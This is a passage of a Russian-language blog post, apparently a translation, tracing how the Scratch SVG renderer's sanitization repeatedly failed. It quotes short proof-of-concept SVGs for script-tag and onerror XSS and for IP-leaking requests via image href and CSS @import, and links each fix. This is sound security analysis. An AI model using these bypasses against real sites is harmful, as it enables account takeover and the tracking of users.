{"id":477962,"date":"2026-04-29T12:45:07","date_gmt":"2026-04-29T12:45:07","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=477962"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=477962","title":{"rendered":"\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0420\u0435\u043d\u0434\u0435\u0440\u0435\u0440 Scratch \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u043b\u0433\u0443\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 SVG \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0418\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0442\u043e, \u0447\u0442\u043e Scratch \u043f\u0430\u0440\u0441\u0438\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c (\u0442\u043e \u0435\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c\u0438) \u043a\u043e\u043d\u0442\u0435\u043d\u0442 \u0432 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 <code>&lt;svg&gt;<\/code>\u00a0\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u0433\u043e \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u044f\u043c\u043e\u0443\u0433\u043e\u043b\u044c\u043d\u0438\u043a\u0430 SVG \u0431\u043e\u043b\u0435\u0435 \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0435\u043c viewbox \u0438\u043b\u0438 width\/height).<\/p>\n<p>\u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 SVG \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u043e\u0447\u0435\u043d\u044c \u043d\u0435\u0434\u043e\u043b\u0433\u043e, \u044d\u0442\u043e \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u043f\u043e \u0441\u0432\u043e\u0435\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0414\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b Scratch \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u044b\u0432\u0430\u043b \u0432\u0441\u0451 \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 SVG \u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u0439\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438.<\/p>\n<p>\u042f \u0441\u0447\u0438\u0442\u0430\u044e, \u0447\u0442\u043e \u043f\u043e\u0434\u0445\u043e\u0434 Scratch \u043a \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG \u043e\u0431\u0440\u0435\u0447\u0451\u043d \u043d\u0430 \u043f\u0440\u043e\u0432\u0430\u043b. \u0427\u0442\u043e\u0431\u044b \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u044d\u0442\u043e, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043f\u0443\u0442\u0435\u0448\u0435\u0441\u0442\u0432\u0438\u0435 \u043f\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG \u0432 Scratch \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043d \u0441 \u044d\u0442\u0438\u043c \u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0441\u044f.<\/p>\n<h3>2019 \u0433\u043e\u0434: XSS \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0442\u044d\u0433\u0430 &lt;script&gt;<\/h3>\n<p>\u0412 2019 \u0433\u043e\u0434\u0443, \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 Scratch 3, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Scratch \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e SVG \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u044d\u0433\u0438 <code>&lt;script&gt;<\/code>\u00a0, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 SVG \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 Scratch. \u0422\u0430\u043a\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f XSS.<\/p>\n<p>\u0412 Scratch \u0430\u0442\u0430\u043a\u0430 XSS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0442 \u043b\u0438\u0446\u0430 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442 \u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438\u043b\u0438 \u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0436\u0435\u0440\u0442\u0432\u044b \u0438\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438. \u0412 Scratch Desktop XSS \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e Scratch Desktop \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u0444\u0438\u0447\u0443 <a href=\"https:\/\/muffin.ink\/blog\/bananatron#node-js-integration\" rel=\"noopener noreferrer nofollow\">\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 Node.js<\/a> Electron. (\u0412 TurboWarp Desktop \u044d\u0442\u0430 \u0444\u0438\u0447\u0430 \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0441 v0.2.0 \u043e\u0442 \u043c\u0430\u0440\u0442\u0430 2021 \u0433\u043e\u0434\u0430)<\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437 \u043d\u0430\u0431\u043e\u0440\u0430 \u0442\u0435\u0441\u0442\u043e\u0432 Scratch:<\/p>\n<pre><code class=\"xml\">&lt;!DOCTYPE svg PUBLIC \"-\/\/W3C\/\/DTD SVG 1.1\/\/EN\"  \"http:\/\/www.w3.org\/Graphics\/SVG\/1.1\/DTD\/svg11.dtd\"&gt;&lt;svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;  &lt;circle cx=\"250\" cy=\"250\" r=\"50\" fill=\"red\" \/&gt;  &lt;script type=\"text\/javascript\"&gt;&lt;![CDATA[      alert('from the svg!')  ]]&gt;&lt;\/script&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-svg-renderer\/commit\/78cc7ea22887cdb2d3e3a00b23557a37251632f8\" rel=\"noopener noreferrer nofollow\">\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430<\/a> \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0443\u0434\u0430\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0442\u044d\u0433\u0438 <code>script<\/code>.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2020 \u0433\u043e\u0434: XSS \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 (CVE-2020-7750)<\/h3>\n<p>\u0412 2020 \u0433\u043e\u0434\u0443\u00a0<a href=\"https:\/\/scratch.mit.edu\/discuss\/topic\/449794\/\" rel=\"noopener noreferrer nofollow\">apple502j \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b<\/a>, \u0447\u0442\u043e XSS \u0432\u0441\u0451 \u0435\u0449\u0451 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043f\u043e\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0435 \u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438, \u043d\u0430\u043f\u0438\u0441\u0430\u0432 <code>&lt;SCRIPT&gt;<\/code>\u00a0\u0437\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u043c\u0438 \u0431\u0443\u043a\u0432\u0430\u043c\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u043b\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440; \u0431\u044b\u043b\u043e \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u043e\u0431\u0445\u043e\u0434\u0430. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0431\u044b \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e, \u044d\u0442\u043e \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0431\u044b \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043d\u0438\u044f JavaScript \u0432 SVG. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u0439:<\/p>\n<pre><code class=\"xml\">&lt;svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\"&gt;    &lt;foreignObject x=\"1\" y=\"1\" width=\"1\" height=\"1\"&gt;        &lt;img            xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"            src=\"data:any invalid URL\"            onerror=\"alert(1)\"        \/&gt;    &lt;\/foreignObject&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-svg-renderer\/commit\/9ebf57588aa596c4fa3bb64209e10ade395aee90\" rel=\"noopener noreferrer nofollow\">\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430<\/a> \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 <a href=\"https:\/\/github.com\/cure53\/dompurify\" rel=\"noopener noreferrer nofollow\">DOMPurify<\/a>, \u0443\u0434\u0430\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438\u0437 SVG \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c, \u043a\u0430\u043a <code>scratch-svg-renderer<\/code>\u00a0\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0445 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2022 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 href &lt;image&gt;<\/h3>\n<p>\u0412 2022 \u0433\u043e\u0434\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <code>href<\/code>\u00a0\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 <code>&lt;image&gt;<\/code>\u00a0\u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u043e\u0442\u044c DOMPurify \u0438 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434, \u043e\u043d <a href=\"https:\/\/github.com\/cure53\/DOMPurify\/wiki\/Security-Goals-&amp;-Threat-Model#non-goals\" rel=\"noopener noreferrer nofollow\">\u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 HTTP-\u0443\u0442\u0435\u0447\u0435\u043a<\/a>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u00ab\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043c\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0435\u0451 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043d\u0430\u0448\u0438 \u0442\u0435\u0441\u0442\u044b \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u043d\u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c\u00bb.<\/p>\n<p>\u0414\u043b\u044f Scratch HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c Scratch \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c IP-\u0430\u0434\u0440\u0435\u0441 \u043b\u044e\u0431\u043e\u0433\u043e, \u043a\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0442\u0430\u043a\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043a\u0430\u043a \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0448\u043a\u043e\u043b\u044c\u043d\u044b\u0439 \u043e\u043a\u0440\u0443\u0433. \u0416\u0435\u0440\u0442\u0432\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c \u043d\u0438 \u043d\u0430 \u043a\u0430\u043a\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438; \u043b\u043e\u0433\u0433\u0438\u043d\u0433 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u043e\u0445\u043e\u0436\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Scratch \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u0438 \u044d\u0442\u043e \u0431\u0430\u0433\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438 \u044f \u0441\u043e\u0433\u043b\u0430\u0441\u0435\u043d \u0441 \u043d\u0438\u043c\u0438.<\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\"&gt;  &lt;image xlink:href=\"https:\/\/example.com\/ping\"\/&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/commit\/8bcef3bd7d1c80fd6afc8ada273e8346a802ccf1\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u0448\u0435\u043d\u0430<\/a>\u00a0\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0445\u0443\u043a\u043e\u0432 DOMPurify \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0439\u0441\u0442\u0432 <code>href<\/code>\u00a0\u0438\u0437 \u0432\u0441\u0435\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u0435\u0441\u043b\u0438 URL \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0441\u0430\u0439\u0442.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2023 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 @import CSS<\/h3>\n<p>\u0412 2023 \u0433\u043e\u0434\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 <code>@import<\/code>\u00a0CSS\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 <code>&lt;style&gt;<\/code>\u00a0\u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442, \u0441\u043e\u0437\u0434\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;  &lt;style&gt;    @import url(\"https:\/\/example.com\/ping\");  &lt;\/style&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-svg-renderer\/commit\/a3ba9eb15036b6983a6b7713d0f1d5114e00329f\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u0448\u0435\u043d\u0430<\/a>\u00a0\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0435\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430 JavaScript \u043f\u0430\u0440\u0441\u0435\u0440\u0430 CSS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 CSS. \u041e\u043d \u043f\u0430\u0440\u0441\u0438\u0442 \u0432\u0441\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435\u0441\u044f \u0432 SVG \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0441\u0442\u0438\u043b\u0435\u0439, \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 <code>@import<\/code>, \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442 CSS \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u0441\u0442\u0440\u043e\u043a\u0443.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f 